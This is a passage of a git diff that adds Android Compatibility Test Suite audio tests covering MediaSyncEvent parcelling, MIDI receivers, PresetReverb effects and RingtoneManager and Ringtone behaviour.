+                track.release();
+                track = null;
+            }
+        }
+    }
+
+    // -----------------------------------------------------------------
+    // Parcelable tests
+    // ----------------------------------
+
+    @Test
+    public void testParcelableDescribeContents() throws Exception {
+        final MediaSyncEvent event =
+                MediaSyncEvent.createEvent(MediaSyncEvent.SYNC_EVENT_PRESENTATION_COMPLETE);
+        assertNotNull("Failure to create the MediaSyncEvent", event);
+        assertEquals(0, event.describeContents());
+    }
+
+    @Test
+    public void testParcelableWriteToParcelCreate() throws Exception {
+        final MediaSyncEvent srcEvent =
+                MediaSyncEvent.createEvent(MediaSyncEvent.SYNC_EVENT_PRESENTATION_COMPLETE);
+        assertNotNull("Failure to create the MediaSyncEvent", srcEvent);
+        AudioManager am =
+                InstrumentationRegistry.getTargetContext().getSystemService(AudioManager.class);
+        srcEvent.setAudioSessionId(am.generateAudioSessionId());
+
+        final Parcel srcParcel = Parcel.obtain();
+        final Parcel dstParcel = Parcel.obtain();
+        final byte[] mbytes;
+
+        srcEvent.writeToParcel(srcParcel, 0 /*no public flags for marshalling*/);
+        mbytes = srcParcel.marshall();
+        dstParcel.unmarshall(mbytes, 0, mbytes.length);
+        dstParcel.setDataPosition(0);
+        final MediaSyncEvent targetEvent = MediaSyncEvent.CREATOR.createFromParcel(dstParcel);
+
+        assertEquals("Marshalled/restored type doesn't match",
+                srcEvent.getType(), targetEvent.getType());
+        assertEquals("Marshalled/restored session doesn't match",
+                srcEvent.getAudioSessionId(), targetEvent.getAudioSessionId());
+    }
+
+    private boolean hasMicrophone() {
+        return InstrumentationRegistry.getTargetContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_MICROPHONE);
+    }
+
+    private boolean isLowLatencyDevice() {
+        return InstrumentationRegistry.getTargetContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUDIO_LOW_LATENCY);
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/MidiSoloTest.java b/tests/tests/media/audio/src/android/media/audio/cts/MidiSoloTest.java
new file mode 100644
index 0000000..95b1b78
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/MidiSoloTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import java.io.IOException;
+
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.midi.MidiDevice;
+import android.media.midi.MidiDevice.MidiConnection;
+import android.media.midi.MidiDeviceInfo;
+import android.media.midi.MidiDeviceStatus;
+import android.media.midi.MidiInputPort;
+import android.media.midi.MidiManager;
+import android.media.midi.MidiReceiver;
+import android.media.midi.MidiSender;
+import android.os.Handler;
+import android.os.Looper;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+/**
+ * Test MIDI when there may be no MIDI devices available. There is not much we
+ * can test without a device.
+ */
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MidiSoloTest extends CtsAndroidTestCase {
+    private static final String TAG = "MidiSoloTest";
+    private final static int LOCAL_STORAGE_SIZE = 256;
+
+    // Store received data so we can check it later.
+    class MyMidiReceiver extends MidiReceiver {
+        public int byteCount;
+        public byte[] data = new byte[LOCAL_STORAGE_SIZE];
+
+        public MyMidiReceiver(int maxMessageSize) {
+            super(maxMessageSize);
+        }
+
+        @Override
+        // Abstract method declared in MidiReceiver
+        public void onSend(byte[] msg, int offset, int count, long timestamp)
+                throws IOException {
+            assertTrue("Message too large.", (count <= getMaxMessageSize()));
+            try {
+                System.arraycopy(msg, offset, data, byteCount, count);
+            } catch (ArrayIndexOutOfBoundsException e) {
+                throw new IOException("Exceeded local storage.", e);
+            }
+            byteCount += count;
+        }
+
+        @Override
+        public void onFlush() {
+            byteCount = 0;
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        // setup for each test case.
+        super.setUp();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // Test case clean up.
+        super.tearDown();
+    }
+
+    public void testMidiManager() throws Exception {
+        PackageManager pm = getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
+            return; // Not supported so don't test it.
+        }
+
+        MidiManager midiManager = (MidiManager) getContext().getSystemService(
+                Context.MIDI_SERVICE);
+        assertTrue("MidiManager not supported.", midiManager != null);
+
+        MidiDeviceInfo[] infos = midiManager.getDevices();
+        assertTrue("Device list was null.", infos != null);
+
+        MidiManager.DeviceCallback callback = new MidiManager.DeviceCallback();
+
+        // These should not crash.
+        midiManager.unregisterDeviceCallback(callback);
+        midiManager.registerDeviceCallback(callback, null);
+        midiManager.unregisterDeviceCallback(callback);
+        midiManager.registerDeviceCallback(callback, new Handler(Looper.getMainLooper()));
+        midiManager.registerDeviceCallback(callback, new Handler(Looper.getMainLooper()));
+        midiManager.unregisterDeviceCallback(callback);
+        midiManager.unregisterDeviceCallback(callback);
+        midiManager.unregisterDeviceCallback(callback);
+    }
+
+    public void testMidiReceiver() throws Exception {
+        PackageManager pm = getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
+            return; // Not supported so don't test it.
+        }
+
+        MidiReceiver receiver = new MidiReceiver() {
+                @Override
+            public void onSend(byte[] msg, int offset, int count,
+                    long timestamp) throws IOException {
+            }
+        };
+        assertEquals("MidiReceiver default size wrong.", Integer.MAX_VALUE,
+                receiver.getMaxMessageSize());
+
+        int maxSize = 11;
+        MyMidiReceiver myReceiver = new MyMidiReceiver(maxSize);
+        assertEquals("MidiReceiver set size wrong.", maxSize,
+                myReceiver.getMaxMessageSize());
+
+        // Fill array with predictable data.
+        byte[] bar = new byte[200];
+        for (int i = 0; i < bar.length; i++) {
+            bar[i] = (byte) (i ^ 15);
+        }
+        // Small message with no offset.
+        int offset = 0;
+        int count = 3;
+        checkReceivedData(myReceiver, bar, offset, count);
+
+        // Small with an offset.
+        offset = 50;
+        count = 3;
+        checkReceivedData(myReceiver, bar, offset, count);
+
+        // Entire array.
+        offset = 0;
+        count = bar.length;
+        checkReceivedData(myReceiver, bar, offset, count);
+
+        offset = 20;
+        count = 100;
+        checkReceivedData(myReceiver, bar, offset, count);
+    }
+
+    public void testMidiReceiverException() throws Exception {
+        PackageManager pm = getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
+            return; // Not supported so don't test it.
+        }
+
+        int maxSize = 11;
+        MyMidiReceiver myReceiver = new MyMidiReceiver(maxSize);
+        assertEquals("MidiReceiver set size wrong.", maxSize,
+                myReceiver.getMaxMessageSize());
+
+        // Fill array with predictable data.
+        byte[] bar = new byte[200];
+        int offset = 0;
+        int count = bar.length;
+        myReceiver.flush(); // reset byte counter
+        IOException exception = null;
+        // Send too much data and intentionally cause an IOException.
+        try {
+            int sent = 0;
+            while (sent < LOCAL_STORAGE_SIZE) {
+                myReceiver.send(bar, offset, count);
+                sent += count;
+            }
+        } catch (IOException e) {
+            exception = e;
+        }
+        assertTrue("We should have caught an IOException", exception != null);
+    }
+
+    // Does the data we sent match the data received by the MidiReceiver?
+    private void checkReceivedData(MyMidiReceiver myReceiver, byte[] bar,
+            int offset, int count) throws IOException {
+        myReceiver.flush(); // reset byte counter
+        assertEquals("MidiReceiver flush ", 0, myReceiver.byteCount);
+        myReceiver.send(bar, offset, count);
+        // Did we get all the data
+        assertEquals("MidiReceiver count ", count, myReceiver.byteCount);
+        for (int i = 0; i < count; i++) {
+            assertEquals("MidiReceiver byte " + i + " + " + offset,
+                    bar[i + offset], myReceiver.data[i]);
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java b/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java
new file mode 100644
index 0000000..d4d2416
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/PresetReverbTest.java
@@ -0,0 +1,401 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.audiofx.PresetReverb;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class PresetReverbTest extends PostProcTestBase {
+
+    private String TAG = "PresetReverbTest";
+    private final static short FIRST_PRESET = PresetReverb.PRESET_NONE;
+    private final static short LAST_PRESET = PresetReverb.PRESET_PLATE;
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private PresetReverb mReverb = null;
+    private PresetReverb mReverb2 = null;
+    private ListenerThread mEffectListenerLooper = null;
+
+    //-----------------------------------------------------------------
+    // PRESET REVERB TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        PresetReverb reverb = null;
+        try {
+            reverb = new PresetReverb(0, 0);
+            try {
+                assertTrue("invalid effect ID", (reverb.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("PresetReverb not initialized");
+            }
+        } catch (IllegalArgumentException e) {
+            fail("PresetReverb not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (reverb != null) {
+                reverb.release();
+            }
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: test presets
+    public void test1_0Presets() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            for (short preset = FIRST_PRESET;
+                 preset <= LAST_PRESET;
+                 preset++) {
+                mReverb.setPreset(preset);
+                assertEquals("got incorrect preset", preset, mReverb.getPreset());
+            }
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 1.1: test properties
+    public void test1_1Properties() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            PresetReverb.Settings settings = mReverb.getProperties();
+            String str = settings.toString();
+            settings = new PresetReverb.Settings(str);
+            short preset = (settings.preset == PresetReverb.PRESET_SMALLROOM) ?
+                            PresetReverb.PRESET_MEDIUMROOM : PresetReverb.PRESET_SMALLROOM;
+            settings.preset = preset;
+            mReverb.setProperties(settings);
+            settings = mReverb.getProperties();
+            assertEquals("setProperties failed", settings.preset, preset);
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            mReverb.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mReverb.getEnabled());
+            mReverb.setEnabled(false);
+            assertFalse("invalid state to getEnabled", mReverb.getEnabled());
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        mReverb.release();
+        try {
+            mReverb.setEnabled(true);
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 priority and listeners
+    //----------------------------------
+
+    //Test case 3.0: test control status listener
+    public void test3_0ControlStatusListener() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+         synchronized(mLock) {
+            mHasControl = true;
+            mInitialized = false;
+            createListenerLooper(true, false, false);
+            waitForLooperInitialization_l();
+
+            getReverb(0);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mHasControl && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseReverb();
+        }
+        assertFalse("effect control not lost by effect1", mHasControl);
+    }
+
+    //Test case 3.1: test enable status listener
+    public void test3_1EnableStatusListener() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+         synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, true, false);
+            waitForLooperInitialization_l();
+
+            mReverb2.setEnabled(true);
+            mIsEnabled = true;
+            getReverb(0);
+            mReverb.setEnabled(false);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mIsEnabled && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseReverb();
+        }
+        assertFalse("enable status not updated", mIsEnabled);
+    }
+
+    //Test case 3.2: test parameter changed listener
+    public void test3_2ParameterChangedListener() throws Exception {
+        if (!isPresetReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, false, true);
+            waitForLooperInitialization_l();
+
+            getReverb(0);
+            mChangedParameter = -1;
+            mReverb.setPreset(PresetReverb.PRESET_SMALLROOM);
+
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseReverb();
+        }
+        assertEquals("parameter change not received",
+                PresetReverb.PARAM_PRESET, mChangedParameter);
+    }
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private void getReverb(int session) {
+         if (mReverb == null || session != mSession) {
+             if (session != mSession && mReverb != null) {
+                 mReverb.release();
+                 mReverb = null;
+             }
+             try {
+                mReverb = new PresetReverb(0, session);
+                mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getReverb() PresetReverb not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getReverb() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mReverb", mReverb);
+    }
+
+    private void releaseReverb() {
+        if (mReverb != null) {
+            mReverb.release();
+            mReverb = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    // Initializes the reverb listener looper
+    class ListenerThread extends Thread {
+        boolean mControl;
+        boolean mEnable;
+        boolean mParameter;
+
+        public ListenerThread(boolean control, boolean enable, boolean parameter) {
+            super();
+            mControl = control;
+            mEnable = enable;
+            mParameter = parameter;
+        }
+
+        public void cleanUp() {
+            if (mReverb2 != null) {
+                mReverb2.setControlStatusListener(null);
+                mReverb2.setEnableStatusListener(null);
+                mReverb2.setParameterListener(
+                            (PresetReverb.OnParameterChangeListener)null);
+            }
+        }
+    }
+
+    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
+        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
+            @Override
+            public void run() {
+                // Set up a looper
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                mReverb2 = new PresetReverb(0, 0);
+                assertNotNull("could not create Reverb2", mReverb2);
+
+                synchronized(mLock) {
+                    if (mControl) {
+                        mReverb2.setControlStatusListener(
+                                new AudioEffect.OnControlStatusChangeListener() {
+                            public void onControlStatusChange(
+                                    AudioEffect effect, boolean controlGranted) {
+                                synchronized(mLock) {
+                                    if (effect == mReverb2) {
+                                        mHasControl = controlGranted;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mEnable) {
+                        mReverb2.setEnableStatusListener(
+                                new AudioEffect.OnEnableStatusChangeListener() {
+                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
+                                synchronized(mLock) {
+                                    if (effect == mReverb2) {
+                                        mIsEnabled = enabled;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mParameter) {
+                        mReverb2.setParameterListener(new PresetReverb.OnParameterChangeListener() {
+                            public void onParameterChange(PresetReverb effect,
+                                    int status, int param, short value)
+                            {
+                                synchronized(mLock) {
+                                    if (effect == mReverb2) {
+                                        mChangedParameter = param;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mEffectListenerLooper.start();
+    }
+
+    // Terminates the listener looper thread.
+    private void terminateListenerLooper() {
+        if (mEffectListenerLooper != null) {
+            mEffectListenerLooper.cleanUp();
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mEffectListenerLooper.join();
+            } catch(InterruptedException e) {
+            }
+            mEffectListenerLooper = null;
+        }
+
+        if (mReverb2 != null) {
+            mReverb2.release();
+            mReverb2 = null;
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RingtoneManagerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneManagerTest.java
new file mode 100644
index 0000000..a2235ad
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneManagerTest.java
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.audio.cts;
+
+import android.app.ActivityManager;
+import android.content.ContentResolver;
+import android.content.res.AssetFileDescriptor;
+import android.media.audio.cts.R;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.media.AudioManager;
+import android.media.Ringtone;
+import android.media.RingtoneManager;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class RingtoneManagerTest
+        extends ActivityInstrumentationTestCase2<RingtonePickerActivity> {
+
+    private static final String PKG = "android.media.audio.cts";
+    private static final String TAG = "RingtoneManagerTest";
+
+    private RingtonePickerActivity mActivity;
+    private Instrumentation mInstrumentation;
+    private Context mContext;
+    private RingtoneManager mRingtoneManager;
+    private AudioManager mAudioManager;
+    private int mOriginalRingerMode;
+    private Uri mDefaultUri;
+
+    public RingtoneManagerTest() {
+        super(PKG, RingtonePickerActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        mInstrumentation = getInstrumentation();
+        mContext = mInstrumentation.getContext();
+        Utils.enableAppOps(mContext.getPackageName(), "android:write_settings", mInstrumentation);
+        mRingtoneManager = new RingtoneManager(mActivity);
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        // backup ringer settings
+        mDefaultUri = RingtoneManager.getActualDefaultRingtoneUri(mContext,
+                RingtoneManager.TYPE_RINGTONE);
+
+        mOriginalRingerMode = mAudioManager.getRingerMode();
+        if (mAudioManager.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
+            try {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true);
+                mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            } finally {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false);
+            }
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            // restore original ringer settings
+            if (mAudioManager != null) {
+                mAudioManager.setRingerMode(mOriginalRingerMode);
+            }
+        } finally {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), false);
+        }
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
+                mDefaultUri);
+        Utils.disableAppOps(mContext.getPackageName(), "android:write_settings", mInstrumentation);
+        super.tearDown();
+    }
+
+    private boolean isSupportedDevice() {
+        final PackageManager pm = mContext.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)
+                && !pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+    }
+
+    public void testConstructors() {
+        if (!isSupportedDevice()) return;
+
+        new RingtoneManager(mActivity);
+        new RingtoneManager(mContext);
+    }
+
+    public void testAccessMethods() {
+        if (!isSupportedDevice()) return;
+
+        Cursor c = mRingtoneManager.getCursor();
+        assertTrue("Must have at least one ring tone available", c.getCount() > 0);
+
+        assertNotNull(mRingtoneManager.getRingtone(0));
+        assertNotNull(RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI));
+        int expectedPosition = 0;
+        Uri uri = mRingtoneManager.getRingtoneUri(expectedPosition);
+        assertEquals(expectedPosition, mRingtoneManager.getRingtonePosition(uri));
+        assertNotNull(RingtoneManager.getValidRingtoneUri(mContext));
+
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+        assertEquals(uri, RingtoneManager.getActualDefaultRingtoneUri(mContext,
+                RingtoneManager.TYPE_RINGTONE));
+
+        try (AssetFileDescriptor afd = RingtoneManager.openDefaultRingtoneUri(
+                mActivity, RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE))) {
+            assertNotNull(afd);
+        } catch (IOException e) {
+            fail(e.getMessage());
+        }
+
+        Uri bogus = Uri.parse("content://a_bogus_uri");
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, bogus);
+        assertEquals(bogus, RingtoneManager.getActualDefaultRingtoneUri(mContext,
+                RingtoneManager.TYPE_RINGTONE));
+
+        try (AssetFileDescriptor ignored = RingtoneManager.openDefaultRingtoneUri(
+                mActivity, RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE))) {
+            fail("FileNotFoundException should be thrown for a bogus Uri.");
+        } catch (FileNotFoundException e) {
+            // Expected.
+        } catch (IOException e) {
+            fail(e.getMessage());
+        }
+
+        assertEquals(Settings.System.DEFAULT_RINGTONE_URI,
+                RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE));
+        assertEquals(Settings.System.DEFAULT_NOTIFICATION_URI,
+                RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION));
+        assertEquals(RingtoneManager.TYPE_RINGTONE,
+                RingtoneManager.getDefaultType(Settings.System.DEFAULT_RINGTONE_URI));
+        assertEquals(RingtoneManager.TYPE_NOTIFICATION,
+                RingtoneManager.getDefaultType(Settings.System.DEFAULT_NOTIFICATION_URI));
+        assertTrue(RingtoneManager.isDefault(Settings.System.DEFAULT_RINGTONE_URI));
+    }
+
+    public void testSetType() {
+        if (!isSupportedDevice()) return;
+
+        mRingtoneManager.setType(RingtoneManager.TYPE_ALARM);
+        assertEquals(AudioManager.STREAM_ALARM, mRingtoneManager.inferStreamType());
+        Cursor c = mRingtoneManager.getCursor();
+        assertTrue("Must have at least one alarm tone available", c.getCount() > 0);
+        Ringtone r = mRingtoneManager.getRingtone(0);
+        assertEquals(RingtoneManager.TYPE_ALARM, r.getStreamType());
+    }
+
+    public void testStopPreviousRingtone() {
+        if (!isSupportedDevice()) return;
+
+        Cursor c = mRingtoneManager.getCursor();
+        assertTrue("Must have at least one ring tone available", c.getCount() > 0);
+
+        mRingtoneManager.setStopPreviousRingtone(true);
+        assertTrue(mRingtoneManager.getStopPreviousRingtone());
+        Uri uri = Uri.parse("android.resource://" + PKG + "/" + R.raw.john_cage);
+        Ringtone ringtone = RingtoneManager.getRingtone(mContext, uri);
+        ringtone.play();
+        assertTrue(ringtone.isPlaying());
+        ringtone.stop();
+        assertFalse(ringtone.isPlaying());
+        Ringtone newRingtone = mRingtoneManager.getRingtone(0);
+        assertFalse(ringtone.isPlaying());
+        newRingtone.play();
+        assertTrue(newRingtone.isPlaying());
+        mRingtoneManager.stopPreviousRingtone();
+        assertFalse(newRingtone.isPlaying());
+    }
+
+    public void testQuery() {
+        if (!isSupportedDevice()) return;
+
+        final Cursor c = mRingtoneManager.getCursor();
+        assertTrue(c.moveToFirst());
+        assertTrue(c.getInt(RingtoneManager.ID_COLUMN_INDEX) >= 0);
+        assertTrue(c.getString(RingtoneManager.TITLE_COLUMN_INDEX) != null);
+        assertTrue(c.getString(RingtoneManager.URI_COLUMN_INDEX),
+                c.getString(RingtoneManager.URI_COLUMN_INDEX).startsWith("content://"));
+    }
+
+    public void testHasHapticChannels() {
+        if (!isSupportedDevice()) return;
+
+        Cursor c = mRingtoneManager.getCursor();
+        assertTrue("Must have at lease one ringtone available", c.getCount() > 0);
+        mRingtoneManager.hasHapticChannels(0);
+
+        final String uriPrefix = ContentResolver.SCHEME_ANDROID_RESOURCE + "://" +
+                mContext.getPackageName() + "/raw/";
+        assertTrue(RingtoneManager.hasHapticChannels(Uri.parse(uriPrefix + "a_4_haptic")));
+        assertFalse(RingtoneManager.hasHapticChannels(Uri.parse(uriPrefix + "a_4")));
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RingtonePickerActivity.java b/tests/tests/media/audio/src/android/media/audio/cts/RingtonePickerActivity.java
new file mode 100644
index 0000000..48a536c
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RingtonePickerActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.audio.cts;
+
+import android.app.Activity;
+
+/**
+ * This activity is just for create a RingtoneManager
+ */
+public class RingtonePickerActivity extends Activity {
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
new file mode 100644
index 0000000..182b4ce
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.Ringtone;
+import android.media.RingtoneManager;
+import android.media.audiofx.HapticGenerator;
+import android.media.cts.Utils;
+import android.net.Uri;
+import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class RingtoneTest extends InstrumentationTestCase {
+    private static final String TAG = "RingtoneTest";
+
+    private Context mContext;
+    private Ringtone mRingtone;
+    private AudioManager mAudioManager;
